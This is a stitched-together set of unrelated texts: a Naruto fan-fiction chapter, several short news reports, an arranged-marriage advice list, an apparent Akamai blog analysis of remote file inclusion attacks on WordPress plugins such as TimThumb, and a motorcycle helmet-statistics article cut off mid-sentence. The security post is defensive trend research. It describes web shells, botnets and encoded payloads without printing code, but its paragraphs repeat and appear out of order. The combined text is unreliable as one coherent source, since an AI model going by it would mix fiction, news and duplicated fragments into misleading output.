"I do not trust myself. I thought myself at the pinnacle of my craft a few years ago. I had just trained a ninja to exceed my own remarkable feats. I had a name. I had money. I had a woman in every village and two in every city. I felt happy. But, it wasn't to be. It was all a lie.  "My teammate, I distrusted him but I did not see him for what he was, what he was doing. My student, I taught him to be great, but I taught him too well. His knowledge of sealing came to exceed my own. So when I tried to take his place, to offer my life to the Shinigami to save Konoha, I found I could not. I did not have the skill to create and understand and control the arrays. People seem to think it was a simple matter to call down the Death God and get him to do what you want…but, after he was called, his actions were all guided and controlled by the seal. Every bit of it. A man made seal instructing and leading a God…it is as momentous an accomplishment as I make it sound.  "Minato created the arrays out of whole cloth in less than four days. Arrays to guide the Death God; arrays to restrain the Kyuubi once inside of the boy; arrays to leech off the Kyuubi's power to make a true powerhouse of a child; arrays to tie the Kyuubi's lifeforce to that of the host. It has taken me eight months since then – every day since his death – just to begin to unravel it. He was a genius. I gave him knowledge and power as a ninja, he exceeded me by age twenty, he eclipsed me by age twenty four, the self-sacrificing bastard.  "I was ready to knock him unconscious and do this myself, but I felt like a toddler attending a physics convention when I tried. I now know that what he did just isn't theoretically possible. No other jinchuuriki was created this way. All of them required a quirk of the Shodai's genetics to even capture them.  "It wasn't possible…as I said…and Minato did it anyway. It would be like me calling down Kami, giving her a corporeal body, having my way with her to her ever increasing pleasure, and then letting her take my soul in payment. It is the stuff of dreamers and poets and mystics.  "I trained and lost the most valuable person this village has ever known. I permitted the most horrible person this village has created to betray us for years…and then leave without a scratch because of your order to 'let him go.' I suspected my teammate a lot longer than you did. For a decade or more, I watched him and told you to watch him.  "I feel that I am both not strong enough to have my warnings believed and not strong enough to step in and take the fatal swing of a katana should my village ever demand it. I cannot be Hokage. Not now. Not ever."  Sarutobi Hiruzen looked for a place to begin unraveling this mess inside his student's mind. But, he realized that Jiraiya wouldn't listen. He had convinced himself to feel unending guilt…and nothing would shake that loose.  "I will honor your statement, my student. But I will ask again in one year's time…."  "You may, but I don't see how my answer will be any different."  "I have failed you then, my student. I should have struck Orochimaru down myself. That is my failing, not yours. I trained him; I knew he was powerful and a bit twisted; I allowed him to grow unrestrained, like a cancer. It fell to me to end him…but my heart was too soft. This is my shortcoming, not yours."  Jiraiya nodded, but said nothing.  Sarutobi was stuck. He had the same feelings of guilt – for not seeing the rot in his village for so long – but he couldn't just call himself 'unfit to be Hokage' and leave.  He had held the office on and off for all of his adult life.  There was, by definition, no one more fit to be Hokage than Sarutobi.  He wanted to smoke, but just sat there, trying to think his way through this problem. The trouble was there was no easy or simple solution.  X-X-X-X-X-X-X-X-X-X-X-X-X  Three Years Later  The fire was everywhere. His family was expelling fireball after fireball, not caring that they hit the tents or the fragile wooden buildings.  The boy looked for his younger brother…and bit back a sob when he saw the boy crushed under a fallen log. He wasn't moving at all and the fires were almost on top of him.  Sasuke had only been three. He did not deserve this. None of the Uchiha did.  Little Itachi scrambled away from the fighting. He had activated his Sharingan almost two years ago, on his seventh birthday. He was now nearly nine and skilled, but…he had never seen a fight before.  He was utterly terrified and slunk into the shadows.  Soon the ninjas stopped and someone began to douse the flames.  A pale man rode on a snake into the area where his adoptive parents' dead bodies lay. Itachi knew they were actually his aunt and uncle…but they had encouraged him to call them 'mother' and 'father.'  The pale man jumped down from his snake and pulled out a surgical knife.  The moment he saw his mother's severed eyeball in that man's hand, Itachi clamped down a groan.  His brain felt like it was filled with stabbing kunai. And his eyes, he'd never felt so much pain.  It would be days later when Itachi, all alone, realized that his Sharingan had changed. It was what the old scrolls had called Mangekyo.  He had salvaged very little from the fires, but he had managed to bury his disfigured mother and father…and what the fires spared of his little brother.  He vowed vengeance that day.  He vowed he would be stronger than that pale man. He vowed he would step on that man's neck and carve his eyeballs out of his living head.  He was Uchiha. Nothing would stop him.  X-X-X-X-X-X-X-X-X-X-X-X-X  Two Years Later (5 Years After the Great Unraveling)  It felt like she was flying. Yes, definitely flying. She opened her eyes, realized she wasn't dreaming, and began to struggle against whatever was keeping her arms and legs bound.  The flying stopped. The darkness around her head disappeared.  "You're awake."  Hyuuga Hinata blinked. "Yes. Where is my mother?"  "She couldn't take of you anymore. I have adopted you."  That didn't make sense to her. Her father was really strong. "Where's my father?"  "He was hurt with your mother. If they get better then you can go live with them again."  "Okay."  "Well, I'm going to put this hood back on you so you can sleep. It'll be getting light out soon."  Hinata didn't like the dark, but she didn't argue. "Thank you."  She was back in the dark, and flying again, and the story she had been told made no sense. Where were her mother and father? They were ninja. They were powerful.  X-X-X-X-X-X-X-X-X-X-X-X-X  Sarutobi tried to clear his mind from all the awful news he'd gotten. Jiraiya had reported in that the entire Hyuuga had been slaughtered in Wave Country, where they'd been petitioning to form a hidden village.  The Wave Daimyo had apparently decided that his country's future lay not in ninja, but in shipping. He'd made a deal instead with the Gato Corporation. Sarutobi knew that man had a…less than shining reputation.  But the Hyuuga were slaughtered to a child. The eyes removed, the bodies charred beyond recognition.  Just like the Uchiha two years earlier in their makeshift private village in Lightning Country. All dead, all the known Sharingan possessors with their eyes cut out. Jiraiya was sure that that was Orochimaru's work  The Hyuuga…not even Jiraiya could guess at. There was too little evidence left behind. Orochimaru had left shed snake skin, like he didn't even care who knew.  He turned and began to walk through a park. Nature was good for restoring mental balance. This was a civilian park, rather than a military training ground, so it was filled with children.  He hadn't expected it, but he saw a bright shock of yellow hair near the swings.  Uzumaki Naruto.  Just another orphan tucked in among so many others.  Leading a happy life, as far as Sarutobi could tell. And he was watching. Every active duty chuunin now did a regular shift at the orphanage every few weeks. The children had competent watchers, in addition to the full time civilians, and got to be exposed to ninja every day.  It was an unorthodox recruitment method, as many little boys and a few girls declared they would become ninja, but it wasn't primarily done for that reason. The Hokage wanted Naruto – and the other children – kept safe.  The village was smaller now.  After the Great Unravelling nearly fifteen thousand civilians had left, almost a quarter of the village population. In the elapsed time, around five thousand new civilians had moved in.  It was a different place.  For the clans who'd remained in the Leaf, life was more integrated. The Aburame had mostly stayed as had the Yamanaka. All of them had integrated more into the overall Hidden Village. The few remaining Akimichi – those who had broken with the rest of their clan – didn't even bother living next to each other. (Instead, they had a favorite restaurant in town that served as a communal meeting hall.)  The Nara, predictably, found it too troublesome to leave, but had largely taken over the top positions in the ANBU division that dealt with civilian matters. Their clan techniques were quite effective in detaining any errant civilians…and without the cost of much effort.  The Inuzuka loyalty had kept them in Hidden Leaf, too. They filled many of the top spots among the Hunter-nin. Indeed, they had prospered by joining in with the community. Three Inuzuka had made small fortunes opening up public veterninary practices. The people of Konoha and Fire Country – not least the Fire Lord's wife – loved their animals.  However, for every 'clan ninja' working in Konoha, there were five or six non-clan ninja now. The head of ANBU, the top three in charge of the hospital, the jounin in charge of the academy…all non-clan.  Since they'd reformed some of the older practices of the Academy – namely 'graduating' 30 or so genin a year only to immediately fail 21 of them out of the shinobi lifestyle, claiming they were too old to rejoin the Academy – they had a lot more ninjas to go around. The Hidden Leaf finally had the strength, in pure numbers if not talent, it had before the Kyuubi's attack.  Sarutobi, over loud protest and several forced retirements, had declared that no jounin-sensei would be permitted to test and fail out a team. Instead, they would all witness a common skills test held for all potential genin. (The terrible practice of favoring clan members hadn't quite faded yet, but team compositions had shifted. There were no more 3-clan-member teams and 3-nobody teams. That much the Hokage could ensure.)  The Hokage felt embarrassed at all those years of wasted shinobi. Potential genin who'd been forced into a civilian life or to enroll in the samurai training program in Fire City. That was a lot of wastage ended…so many potentially excellent shinobi tossed out after all those years of training.  Sarutobi sat on a park bench and enjoyed the sun's warmth on his face. His head was covered with his special hat, but his eyes were fixed on the boy. He really looked like the Yondaime had when he was a boy. Over the years that boy grew and grew, like an out of control weed. Naruto was still a bit on the short side, but he made friends easily, it seemed, and enjoyed running, climbing trees, and causing chaos.  This anonymity had served Naruto well. The villagers as a whole did not pay attention to the orphanage…and none of the spies who penetrated Konoha (Sarutobi didn't kid himself to think that infiltration didn't happen once a month or more often, even if they had tightened up security) would ever think to look in the new orphanage for the village's most precious military secret, the boy who saved them all every day from the Kyuubi.  Naruto would start taking classes at the orphanage school in a few days…and would start at the Ninja Academy in two years.  The orphanage school was much improved in the last five years. The visiting chuunin often helped manage field trips outside the village walls to look at trees and plants or try to walk local wildlife. Naruto would have a chance to learn reading and writing. Math and bits of history and pride in the Fire Country. He'd be ready to attend the Academy on time.  The only thing that Sarutobi still wondered about was when Naruto should be told about his tenant. A part said just as soon as he started learning about chakra. If the Yondaime's seal worked as intended, and Jiraiya swore it would, the boy would have access to a massive store of chakra. Possibly, if he were trained correctly, an unlimited supply.  Another part cautioned him to hold off on telling the boy for a while. Until he made genin at least.  Sarutobi had already decided he would visit the boy personally – not just walk by or look at him in the park – when he began the Academy. He had had a good life so far it seemed. Sarutobi could give him a few more years of comfort. Given that Sarutobi had begun taking a more active role in the Academy the last few years, no one would think it odd for Sarutobi to visit with a few young students from time to time.  The boy wasn't yet a hero to the village – as the only people who knew of the boy's sacrifice weren't telling – but he would be someday.  Jiraiya had already stated he would be willing to train the boy in the future. Sarutobi was sure he would take to teaching the boy as well. Kami knew that the boy could become stronger then even the best jounin-sensei could handle.  Yes, that was settled. Sarutobi would take on a new student; one last student. And teach him all that he could, leadership along with the skills of a ninja. Strong in body, mind, and soul.  The new generation had the Will of Fire, Sarutobi would ensure it. One could only hope they wouldn't have to have a Heart of Stone. But…if it came to it, Uzumaki Naruto would be trained in that as well.  After all, Orochimaru was still out there with a few dozen sets of Uchiha eyes…and someone had killed and mutilated more than a hundred Hyuuga bodies. The world would be heating up in a few years, wouldn't it?  Uzumaki Naruto would need everything Jiraiya, Sarutobi, and anyone else could teach him. Everything.
-Serbian Parliament. Photo: Beta  Serbia’s parliament is holding a session on Saturday in which the only item on the agenda is changes to the Law on Ministries. According to the proposed changes, two new ministries will be formed – for environmental protection and European integration.  Their establishment was agreed after negotiations between the ruling coalition’s main partners, the Serbian Progressive Party and the Socialist Party, with the Socialists expected to take both new posts.  Environmental protection will now be separated from the jurisdiction of the Ministry of Agriculture and Environmental Protection.  The government’s Office for European Integrations will be closed and its duties taken over by a new Ministry of European Integration.  Other changes include the Ministry of Mining and Energy taking over some duties from the Ministry of Economy, while the Economy Ministry will take over regulating concessions and public-private partnerships from the Ministry of Trade, Tourism and Telecommunications.  Voting for the changes of the Law on Ministries is the first step towards the election of Brnabic as Prime Minister. Next week, parliament will start debating the new PM’s expose.  The deadline for electing a new government is Friday, June 30. Brnabic, who is supported by most of the ruling coalition, needs 126 of the 250 votes in parliament to be confirmed.  President Aleksandar Vucic on Monday said he had persuaded ruling party MPs to back his choice of Brnabic – despite clear discontent over the appointment of a non-party figure who is also a lesbian.  The President went on to have negotiations with his coalition partners, but although some of them remained defiant, Vucic’s Progressive Party said it had gathered enough support for Brnabic.
-Image copyright London Fire Brigade Image caption Birds had often been seen flying into a hole in the roof  A bird carrying a lit cigarette to its nest has been blamed for starting a fire in a building in south London.  London Fire Brigade investigators believe a bird took the smouldering butt to its nest on the roof of the building in Landor Road, Stockwell.  Matt Cullen, who examined the scene after the fire on Wednesday night, said he was "baffled" at first.  "The smoking gun was found when we discovered a partially burnt birds nest," he said.  The blaze damaged about a fifth of the building's roof and nine people were evacuated.  'Crazy' fire  Mr Cullen said: "When we got up into the roof, we were baffled as there were no obvious ignition sources.  "No-one had been up to there for a long time and there were no electrics that could have sparked a blaze.  "Neighbours told us they often saw birds flying in and out of a hole in the roof.  "We believe that one of the birds picked up a cigarette butt that was still smouldering and dropped it into the nest, causing it to catch fire and set the roof alight."  Richard Scroggs, who runs The Old Post Office Bakery in Landor Road, remarked: "It's crazy isn't it?  "Smokers. What can you say? I'm glad I gave up."
-The charge: That Palin broke state ethics rules by holding national television interviews about her run for vice president from the governor's office.  The complaint comes as Palin's personal life, her prospects as a future presidential candidate and everything she says and does continues to draw headlines.  Zane Henning, a North Slope worker from Wasilla, said he filed the complaint with the attorney general. He says Palin is promoting her future political career on state property, pointing in particular to the governor's Nov. 10 interview with Fox News Channel host Greta Van Susteren.  "The governor is using her official position and office in an attempt to repair her damaged political image on the national scene," Henning wrote.  The Palin camp, besieged by interview requests, said the governor was no longer a candidate at the time of interviews, but otherwise had little to say about the complaint.  "The consideration of complaints under the executive branch ethics act is a confidential process, by law," wrote Palin spokesman Bill McAllister.
-A BARBIE girl’s gotta do what a Barbie girl’s gotta do.  Tara Monroe has been cruising around a Texas town in a child’s Barbie Jeep ever since refusing to downgrade from four wheels to two after cops suspended her driver’s licence. And it’s surprisingly awesome.  Confused locals have been uploading hilarious snaps and videos to social media, captured when they spot the straight-faced, RayBan-wearing 20-year-old riding around in the bright pink, battery-powered kiddie car.  YOU GUYS THIS GIRL DROVE A PINK BARBIE JEEP TO SCHOOL pic.twitter.com/7vQPnd01ZP — Whatever, (@DallasRelates) September 2, 2015  Monroe, a Texas State University industrial engineering student, was automatically stripped of her licence in a DUI arrest when she refused a police breathalyser test after partying at a hip-hop gig in March, My San Antonio reports.  Her father took her vehicle and left her with a bike to get around. But that’s just not how his daughter rolls.  “Riding a bike around campus sucks. Like really sucks,” Monroe said.  So the young renegade browsed Craigslist and found the perfect and legal solution for the bargain price of AU$71: the Barbie Jeep.  “When we drove up to buy it ... (they) asked where the little one was to test drive it to which I replied, ‘I am the little one,’” she said.  Before long, Monroe was the newest — and possibly oldest — recruit of the Barbie girl way of life, and named her new vehicle ‘Charlene’ after the little girl who owned it before her.  Scooting at 8km/h, Monroe sits snug with her 160cm-tall frame and leaves onlookers in baffled fits of laughter wherever she rolls.  But Monroe said she wasn’t expecting the web to blow up over her plastic ride, saying friends “weren’t even surprised because I do stuff like this all the time.”  “This is the best way I could have gotten my 15 minutes of fame,” she said. “Basically, it was the best decision I’ve made in college, yet…”  “I’m just happy everyone thinks this is so hilarious.”  Twitter: @sopphie
-Rhino poacher killed in Kruger shoot-out  Johannesburg - A suspected rhino poacher was killed in a shoot-out at the Crocodile Bridge Ranger section of the Kruger National Park on Thursday, SA National Parks (SANParks) said.  An investigation by SANParks rangers, police and the military into the killing of a rhino cow and her calf earlier in the day led to three men, said spokesperson Reynold Thakhuli in a statement.  "A shoot-out ensued, which led to one suspect being fatally wounded and the other two [being] arrested."  Four fresh rhino horns, a hunting rifle and an axe were recovered from the men.  The total number of rhinos poached in the Kruger National Park since January this year now stands at 130.  Another SANParks spokesperson, Paul Daphne, appealed to the public to report suspected poaching.  "It is unfortunate that we could not save the rhino cow and calf in time, but we are convinced that with the increased measures we have in place, the poachers are feeling the pressure..." he said.  Thakhuli said the two alleged poachers would appear in court soon.
-By Jeff Jenkins in News | August 30, 2017 at 11:46AM  MORGANTOWN, W.Va. — Police have a charged a Harrison County man with battery following a much-watched road rage incident Monday afternoon in Morgantown.  File Police say William Sothen, 63, of Salem is charged with battery.  William Sothen, 63, of Salem, was the man on the motorcycle who got off the bike and took the woman who gotten out of the car beside him to the pavement.  Harrison County Sheriff Robert Matheny confirmed Sothen is a retired Harrison County deputy.  “I’ve seen the video, and it’s disturbing to me,” Matheny told the AJR News Network in Clarksburg. “If that is [Bill] Sothen in the video, those actions do not reflect the standards of the Harrison County Sheriff’s Department.”  Sothen retired shortly after Matheny took the oath-of-office in January, the Sheriff said.  The road rage began several minutes before outside of Morgantown, according to Morgantown Police Chief Ed Preston.  “It was a mutual following, pulling up beside each other, yelling at each other,” Preston said. “It was a mutual ongoing road rage incident. It lasted several miles. It started on the interstate (I-68) and ended inside the city.”  READ: CRIMINAL COMPLAINT  The video taken at the scene lasted for approximately four minutes. The woman who took it was a guest on WAJR Radio’s Morgantown AM Wednesday. She said the woman got out of her car at the Van Voorhis Road intersection and then Sothen got off his bike.  “At first they were just talking. It was a heated confrontation from the beginning,” she said. “They were just talking and then they got physical. Honestly, it was scary.”  The altercation finally ended with an off-duty WVU police officer got out of his car and broke it up, Preston said.  The woman, a 21-year-old resident of Harrison County, won’t be charged, Preston said, adding both Sothen and the woman could have avoided the situation.  “Neither one of these parties should have been involved in the altercation to begin with. Either one of them could have walked away before it became physical. I would say they’re both wrong for that aspect of it,” Preston said.  The woman who shot the video said it was never the intention for it to go viral.  “It actually saddens me because the person who leaked the video, I’ve asked them to take it down, the girl in the video has asked them to take it down and he won’t. The girl in the video doesn’t want all of this attention from it because it is a serious matter,” she said.  The witness, who is 19, said she is glad she decided to hit the record button on her phone.  “I know people around my age–we literally video everything–so I did not think it was going to turn into what it did but I’m happy I captured it all on video so it can be used and police can figure out what happened,” she said.
-1 Decide what kind of spouse you want. Would a spouse, husband or wife, who is happy to be a homemaker suit you? Do you want a sweet and caring spouse who is family-oriented, or are you looking for someone who is work-oriented? Do you want a spouse with similar interests or do you think opposites attract?  2 Remember to read the bio data two or three times before meeting your potential partner. The bio data should spark some ideas of what you can ask your possible life partner about. For example you can ask, "What do you like about your hobby?" Or, you can say, "Oh, you like cooking and traveling - so do I!".  Try searching for him/her on Facebook, or on Twitter. It will give you some details about his/her life and likes.  3 Respect his/her parents. This could depend on local traditions. For example, in Hindu families, it may be customary to touch the feet of the girl's parents. But keep in mind that respect is not about certain traditions, it is a mindset.  4 Remember that it is okay for you or the other person to be nervous. calm down and smile . Make the other person feel comfortable.  5 Ask a few simple questions. For example, you can ask the meaning of his/her name as an ice breaker.  6 Ask him/her if he/she really wants to do an arranged marriage or prefers a love marriage. Both men and women go through pressure from family to meet potential partners. Make the other person feel comfortable so that they can open up and share their preferences, if they so desire.  7 Share your life and career goals with the other person and ask them the same. You can discuss about how each of you plans to maintain work and life balance, in the case where both want to work. In case any partner reveals a preference to stay at home, you can discuss about how both can build such a relationship.  8 Ask whether the other prefers a nuclear family or a joint family. Since most Indian women are expected by tradition to move to their spouse's home, it would be ideal to share what each of you prefers - nuclear or joint.  9 Discuss religious faith if it matters in the marriage.  10 Talk about each others hobbies. What habits are a turn on and what are a turn off. For example, many people may say that smoking is a big turn off for them.  11 Keep in mind that both men and women should try to understand how each of them adapt to changing scenarios in marriage. Both partners should discuss what they expect from a spouse with regard to responsibilities towards families. At the same time, both men and women should discuss if they have any specific preferences regarding family planning.  12 Keep in mind that in many cases, men and their families are quite conservative regarding the kind of clothes women can wear. Men should take care to respect a woman's preference regarding dressing - she may be willing to sacrifice her preferences for clothing to suit your and your family's preferences; or she may not be ready to give up what she likes to wear. As in the case of any disagreeing opinions, try to find out if a middle ground can be reached.  13 Discuss how much each of you earns. Reply if it is fixed salary or profit percentage. Explain if you are not salaried. Your work could be earning you profits. A concern regarding a business family is that it is driven for profits and if it makes losses then it will pledge all its assets to make sure that family name doesn't get spoiled and salary is paid to employees first. But in all of this, do remember that your relationship with the spouse is not a business deal. Also both should be comfortable in talking about finances to each other.  14 Avoid asking a potential partner about his/her past relationships. Neither should one feel obliged to speak about the past. It should come out of each person's ease or comfort in talking about it. Do not force answers out of the other person.  15 Be clear if you expect your partner to do a few duties. For example, if you have grandparents who are old and parents had been operated twice for health issues and you wanted your partner's support to take care of them, do mention it. This applies to both men and women, as both want to do the best for their parents.  16 Don't make it a monologue. The meeting should be a conversation.  17 Don't agree to marriage after the first meeting. Make sure that you have at least two or three good meetings before delivering the final decision.  18 Know that a lot of men and women may not reveal certain things about themselves in the first meeting itself. They may take time to open up, maybe only after the second or third meeting.  19 Speak to your own family about respecting your marriage partner once the marriage is finalized.
-Overview  According to Wikipedia, WordPress is a free and open source blogging tool and a content management system (CMS) based on PHP and MySQL, which runs on a web hosting service. Features include a plug-in architecture and a template system. WordPress is used by more than 18.9% of the top 10 million websites as of August 2013. WordPress is the most popular blogging system in use on the Web, at more than 60 million websites.  Are web hackers really targeting WordPress plugins?  Which WordPress plugins are the most sought after by hackers?  What types of vulnerabilities are the most coveted by hackers?  Approximately 43,000 attacks specifically targeted WordPress plugins during a single week  A total of 66 different WordPress plugins were targeted, out of which 8 received the lions share of attacks (see chart below)  The "TimThumb" plugin: http://www.binarymoon.co.uk/projects/timthumb/ received a whopping 73% of all attacks  Many PHP applications are infested with RFI vulnerabilities - see the chart below, which portrays the amount of 'RFI' vulnerability disclosures in PHP applications, that were made public  Massive scanning of vulnerable WordPress plugins is an easy task to perform. The internet offers many "off the shelf" PHP RFI scanning tools, which hackers can download and run  The benefit from exploiting RFI, for the hacker is tremendous - in most cases it means full control of the web server's infrastructure  When looking closely at the vulnerabilities that were being targeted, we noticed the following distribution by year of vulnerability publication (according to CVE and OSVDB): Hacker's fondness of remote file inclusion vulnerabilities can be explained by the high "return on investment" involved -When looking closely at the vulnerabilities that were being targeted, we noticed the following distribution by year of vulnerability publication (according to CVE and OSVDB):  The chart above raises an interesting insight on the WordPress plugins vulnerability mitigation habits of application owners. Given that hackers do not waste time on irrelevant exploits and vulnerabilities, this clearly indicates that many applications are still left unpatched, even years after the publication of the vulnerability.  Lets spend a moment dissecting the information we gleaned on the 'Timthumb' attacks that we spotted during the sample week  270 unique attackers were responsible for the attacks during the sample week  70% of the attacks originated from only 6 attackers in France  The rest of the attacks mostly originated from Italy, US, Germany, Canada and Brazil (in that order) A total of 318 different web applications were targeted during the sample week  Out of the 318 web applications that were being targeted:  39% belong to '.com' domains  23% belong to US military domains ('.mil' TLD)  6% belong to US government domains ('.gov' TLD)  1% belong to non-profit organization domains ('.org' TLD)  1% belong to educational domains ('.edu' TLD)  All other targets were country code second-level domains (e.g. .co.uk, .co.jp, etc.) The URLs used inside the RFI payload point almost entirely to hostnames that resemble legitimate known sites such as: Picasa, Blogger, Flickr, YouTube (in this order), for example, http://www.picasa.some.site or http://flickr.com.some.site  Deeper analysis of the majority of remote PHP code that is used by hackers revealed that it was written by Indonesian hackers, who breached and took over legitimate web servers across the web  The remote PHP code, which is included, was always encoded multiple times using Base64, ROT13, and Gzip compressed. This is probably done for the purpose of WAF, Anti-Virus and Anti-Malware evasion  The purpose of the remote PHP included code is to install two main types of malware:  A remote command execution PHP web page, which enables the hackers to remotely control the web server's machine, and grants them access to all files on the system  A highly evolved botnet software with many capabilities such as remote command and control through IRC, automatic propagation to other web servers using similar vulnerabilities, MySQL data dumping capabilities and so forth  Summary  As suspected, it is beyond any doubt that WordPress plugin exploitation is one of the main tools in the malicious web hackers' arsenal. Specifically, the 'Timthumb' remote file inclusion vulnerability, which was originally published back in August 2011, is still the most sought after by hackers.  We have also concluded that the root cause for the majority of WordPress plugin vulnerabilities that are being targeted by web hackers is remote file inclusion - this is probably due to the high ROI involved with these vulnerabilities. Moreover, it seems that hackers are still actively looking for vulnerabilities, which are 2-5 years old. This may indicate that application owners are very slow in deploying fixes and do not tend to upgrade WordPress plugins to the latest, more secure versions.  Based on the malicious PHP code that was 'remotely included' in the attacks, it seems that while the majority of attacks appeared to originate from European countries, the people behind these attacks were actually Indonesian hackers. In addition, the remote code was always encoded multiple times to evade pattern-based protections such as WAF, Anti-Virus or Anti-Malware, and was placed on remote machines with domain names that resemble popular legitimate sites  Last but not least - all of the attacks mentioned in this article were thwarted by Akamai's KONA security solutions.  This blog post was written by Ory Segal, Principal Product Architect and Or Katz, Principal Security Researcher As suspected, it is beyond any doubt that WordPress plugin exploitation is one of the main tools in the malicious web hackers' arsenal. Specifically, the 'Timthumb' remote file inclusion vulnerability, which was originally published back in August 2011, is still the most sought after by hackers.We have also concluded that the root cause for the majority of WordPress plugin vulnerabilities that are being targeted by web hackers is remote file inclusion - this is probably due to the high ROI involved with these vulnerabilities. Moreover, it seems that hackers are still actively looking for vulnerabilities, which are 2-5 years old. This may indicate that application owners are very slow in deploying fixes and do not tend to upgrade WordPress plugins to the latest, more secure versions.Based on the malicious PHP code that was 'remotely included' in the attacks, it seems that while the majority of attacks appeared to originate from European countries, the people behind these attacks were actually Indonesian hackers. In addition, the remote code was always encoded multiple times to evade pattern-based protections such as WAF, Anti-Virus or Anti-Malware, and was placed on remote machines with domain names that resemble popular legitimate sitesLast but not least - all of the attacks mentioned in this article were thwarted by Akamai's KONA security solutions.  The chart above raises an interesting insight on the WordPress plugins vulnerability mitigation habits of application owners. Given that hackers do not waste time on irrelevant exploits and vulnerabilities, this clearly indicates that many applications are still left unpatched, even years after the publication of the vulnerability.Lets spend a moment dissecting the information we gleaned on the 'Timthumb' attacks that we spotted during the sample week  In recent years, the security posture of WordPress plugins was a topic of much interest, mostly due to the abundance of security vulnerabilities that were found and published. A quick search of the CVE database for the terms 'WordPress' and 'plugin', returns 64 different vulnerability disclosures in 2013 alone - obviously a high number by any standard.In June 2013, Checkmarx, a source code analysis vendor released a very thorough and interesting whitepaper on the topic of WordPress Plugins Security, listing the most vulnerable plugins.While reading Checkmarx's whitepaper, and going through the long list of vulnerable WordPress plugins, we felt that a few critical questions were still left unanswered. The questions were:In order to answer the questions above, we decided to mine Akamai's security big data platform ('Cloud Security Intelligence') for WordPress plugin attack patterns. Akamai's 'Cloud Security Intelligence' is a massive scale distributed data platform, which stores billions of security events from thousands of web applications all across the globe. The platform enables Akamai's threat research team to distill quality insights on attack trends taking place on the Internet.When looking at attacks against WordPress plugins across Akamai's customer base during a one-week period, we discovered the following: When looking at the type of vulnerabilities that hackers were trying to exploit, we saw a clear preference for Remote File Inclusion vulnerabilities, which accounted for 96% of all vulnerability types.
-Can mandatory helmet laws save motorcyclists lives? That’s the question that inspired this article, but, looking at the available data, no correlation appears to exist. Crazy, right? Let’s look deeper at the data and see what fatality rates can tell us about motorcycle safety.  Motorcyle Fatalities by Riding Population  This map compares fatalities per riding population, by state. In the red states, motorcyclists run a .00075 percent chance of being killed in an on-road crash or higher. Yellow states are .0005 percent and above. Green states are .00025 percent and up. The three blue states are .00021 or below.  The most dangerous state for motorcyclists is Hawaii that saw 37 deaths during the first nine months of 2012 (the latest date range for which we have data) and has 30,000 road-legal motorcycles registered. The safest state, New Jersey, reported only 65 motorcyclist fatalities on its roads during the first nine months of 2012, despite having over 330,000 registered motorcycles.  States with Mandatory Helmet Laws  This map shows the 20 states with mandatory helmet laws for all riders. Most other states require helmets only for teenage motorcyclists, while three states have no helmet requirement of any kind — Illinois, Iowa and New Hampshire. This map does not distinguish between those states and the 27 remaining, simply because the number of under-18-year old motorcyclists is statistically irrelevant.  While the most dangerous state does not require helmets for adult riders and the safest state does, very little statistical correlation between helmet laws and fatality rates can otherwise be determined.  Percentage of Fatalities Not Wearing Helmets  Now this map shows the percentage of motorcyclist fatalities where the rider was not wearing a helmet. Red states report that helmets were not worn in 75 percent of fatal crashes. Yellow states are 50 percent and up. Green states are 11 percent and up. In blue states, that number is less than 10 percent.  Perhaps most interesting is that this map doesn’t strongly correlate either with helmet laws or overall motorcyclist fatality rates. The state in which an unhelmeted motorcyclist fatality is most likely to occur is New Mexico, which has no helmet law. In Vermont, where all motorcycle fatalities did involve a helmet, there is a helmet law. Most helmet law states fall into the lower third of states where fatal crashes were likely to involve helmet use.  In fact, this data could be said to indicate that helmet use more strongly correlates with fatal crashes than not wearing a helmet does. Take Vermont for instance, which has both a helmet law and reports 100 percent of fatal motorcycle crashes involved the use of one. Doesn’t make them sound terribly safe, does it?  Read More On Page 2 >>>  Percentage of Fatalities with 0.08% or Higher BAC  This map shows what, according to the 1981 Hurt Report, is the single most common cause of motorcycle crashes — riding one while under the influence of alcohol. In this case, .08 percent BAC or greater. In red states, 34 percent or more of fatal crashes were reported to involve intoxication. In yellow states that percentage is 20 percent or greater. Green states are between 13 and 17 percent and the one blue state, ever-safe Vermont, reports only 1 percent of fatal crashes involved intoxication.  Again, there’s little correlation between intoxicated fatalities and overall fatality rates. If anything, there’s a small correlation between states where fatal crashes are more likely to occur without a helmet and states where fatal crashes are more likely to involve alcohol, but it’s hardly one-to-one.  So what does this teach us about motorcycle safety?  Well, the lack of correlation between fatality rates and either helmet laws or even the percentage of fatal crashes involving helmets is often used by anti-helmet law advocates, seemingly to prove their point.  “Mandatory helmet laws do nothing to prevent crashes,” states the American Motorcyclist Association. “Regardless of the protective equipment worn, any motorcyclist involved in a crash is at considerable risk. Mandatory helmet laws do nothing to prevent crashes that injure or kill motorcyclists.”  The Alliance Of Bikers Aimed Toward Education (ABATE) states it, “believes that accident prevention and avoidance are more important to significantly reducing injuries and fatalities than any mandatory equipment laws. Mandatory helmet laws do nothing to prevent accidents.”  The trouble appears to be that we’re all operating on incomplete data. “They only tell you the percentage of riders killed without a helmet on,” explains RideApart COO and resident statistics nerd Nolan Zandi. “They do not tell you the percentage of riders in general who don't wear a helmet. For example, In Alabama, 15 percent of motorcycle deaths involve no helmet. However, how many riders in general don't wear helmets? If only, one percent of riders don't wear helmets and 15 percent of deaths are from that one percent who don't wear helmets, then we can say that unhelmeted riders have a disproportionately high share of motorcycle deaths. Alternatively, if 15 percent of riders in general don't wear helmets, than we can say that in Alabama, wearing a helmet doesn't seem to affect the odds of dying in a wreck. Unless, of course, there is another factor, like helmeted riders ride more dangerously and aggressively because they feel protected by their helmet, these kinds of things are what make statistics so hard. Unfortunately, this dataset doesn't include that information, making it difficult to get insight onto the effects of wearing a helmet.”  What data we do have is changes in fatality rates immediately following the repeal of mandatory helmet laws. Assuming other variables in a given state with a recently repealed helmet law remain relatively unchanged, this is the best possible indication as to the effectiveness of helmets in preventing death. For example, Michigan reported an 18 percent increase in annual motorcyclist fatalities last year, when it repealed its mandatory helmet law. The Southern Medical Journal reported that motorcycle fatality rates in Texas increased by 25 percent, per miles-travelled in the seven years following the 1997 repeal of its helmet law. In Florida, the motorcycle fatality rate increased by 21 percent following its repeal of the helmet law in 2000. All three examples include increases in fatalities large enough to rule out statistical anomaly and occur immediately following a helmet law repeal, raising the chances that other variables played little or no role.  Of course, we’re missing other, major pieces of the motorcycle safety puzzle. “What are the fatality rates controlled by different helmet types?” Asks Nolan. “How do fatalities compare among people wearing sweet, $500 full-faces compared to Harley skid lids? What about other motorcycle gear? How do fatalities for ATGATT riders compare to the "Sun’s out, guns out” crowd?  And then there’s motorcyclist behavior and attitudes. No study has ever been attempted to compare the accident rates of riders who pursue advanced training and practice safe riding compared 